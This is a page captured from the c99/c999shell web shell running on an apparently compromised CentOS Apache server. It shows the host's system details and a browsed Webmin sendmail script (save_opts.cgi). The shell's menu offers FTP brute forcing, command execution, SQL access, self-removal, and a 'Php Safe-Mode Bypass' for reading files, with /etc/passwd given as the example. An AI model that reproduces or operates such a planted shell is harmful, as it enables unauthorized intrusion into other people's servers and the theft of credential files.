!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/usr/libexec/webmin/sendmail/   drwxr-xr-x
Free 50.88 GB of 127.8 GB (39.81%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     save_opts.cgi (3.29 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#!/usr/bin/perl
# save_opts.cgi
# Save various sendmail options

require './sendmail-lib.pl';
&ReadParse();
$access{'opts'} || &error($text{'opts_ecannot'});
&error_setup($text{'opts_err'});
&lock_file($config{'sendmail_cf'});
$conf = &get_sendmailcf();
$ver = &check_sendmail_version($conf);

# Save directives
&save_doption("S", "DS", 1);
&save_doption("R", "DR", 1);
&save_doption("H", "DH", 1);

# Save other options
&save_option("QueueLA", '[\d\.]+', $text{'opts_queuela'});
&save_option("RefuseLA", '[\d\.]+', $text{'opts_refusela'});
&save_option("MaxDaemonChildren", '\d+', $text{'opts_maxch'});
&save_option("ConnectionRateThrottle", '\d+', $text{'opts_throttle'});
&save_option("MinQueueAge", '\d+\S', $text{'opts_minqueueage'});
&save_option("MaxQueueRunSize", '\d+', $text{'opts_runsize'});
&save_option("Timeout.queuereturn", '\d+[dmhwsy]', $text{'opts_queuereturn'});
&save_option("Timeout.queuewarn", '\d+[dmhwsy]', $text{'opts_queuewarn'});
&save_option("QueueDirectory", '\/\S+', $text{'opts_queue'});
&save_option("PostMasterCopy", '\S+', $text{'opts_postmaster'});
&save_option("ForwardPath", '\S+', $text{'opts_forward'});
&save_option("MinFreeBlocks", '\d+', $text{'opts_minfree'});
&save_option("MaxMessageSize", '\d+', $text{'opts_maxmessage'});
&save_option("LogLevel", '\d+', $text{'opts_loglevel'});
$in{'DontBlameSendmail'} =~ s/\0/ /g;
&save_option("DontBlameSendmail", '.*\S.*', $text{'opts_blame'});
&save_option("SendMimeErrors", '.*');
$in{'DeliveryMode_def'} = 1 if (!$in{'DeliveryMode'});
&save_option("DeliveryMode", '.*');
$in{'QueueSortOrder_def'} = 1 if (!$in{'QueueSortOrder'});
&save_option("QueueSortOrder", '.*');
&save_option("MaxHopCount", '\d+', $text{'opts_hops'});
&save_option("MatchGECOS", '.*');
if ($ver >= 10) {
    &save_option("MaxRecipientsPerMessage", '\d+', $text{'opts_maxrcpt'});
    &save_option("BadRcptThrottle", '\d+', $text{'opts_maxbad'});
    }
&flush_file_lines();
&unlock_file($config{'sendmail_cf'});
&restart_sendmail();
&webmin_log("opts", undef, undef, \%in);
&redirect("");

# save_doption(type2, input, blank)
sub save_doption
{
local ($oldstr, $old) = &find_type2("D", $_[0], $conf);
@oldlist = $oldstr ? ( $oldstr ) : ( );
if ($in{"$_[1]_def"}) {
    @newlist = $_[2] && $oldstr ?
            ( { 'type' => 'D', 'values' => [ $_[0] ] } ) : ( );
    }
elsif ($in{$_[1]} !~ /^\S+$/) {
    &error(&text('opts_ehost', $in{$_[1]}));
    }
else {
    @newlist = ( { 'type' => 'D', 'values' => [ $_[0].$in{$_[1]} ] } );
    }
&save_directives($conf, \@oldlist, \@newlist);
}

# save_option(name, regexp, what)
sub save_option
{
local ($oldstr, $old) = &find_option($_[0], $conf);
local @oldlist = $oldstr ? ( $oldstr ) : ( );
local (@newlist, $re); $re = $_[1];
if ($in{"$_[0]_def"}) { @newlist = (); }
elsif ($in{$_[0]} !~ /^$re$/) {
    &error(&text('opts_einvalid', $in{$_[0]}, $_[2]));
    }
else { @newlist = ( { 'type' => 'O', 'values' => [ " $_[0]=$in{$_[0]}" ] } ); }
&save_directives($conf, \@oldlist, \@newlist);
}

# save_options(name, regexp, what)
sub save_options
{
local @oldlist = map { $_->[0] } &find_options($_[0], $conf);
local @newlist;
if (!$in{"$_[0]_def"}) {
    local $re = $_[1];
    foreach my $v (split(/\r?\n/, $in{$_[0]})) {
        $v =~ /^$re$/ ||
            &error(&text('opts_einvalid', $in{$_[0]}, $_[2]));
        push(@newlist, { 'type' => 'O', 'values' => [ " $_[0]=$v" ] });
        }
    }
&save_directives($conf, \@oldlist, \@newlist);
}


:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0061 ]--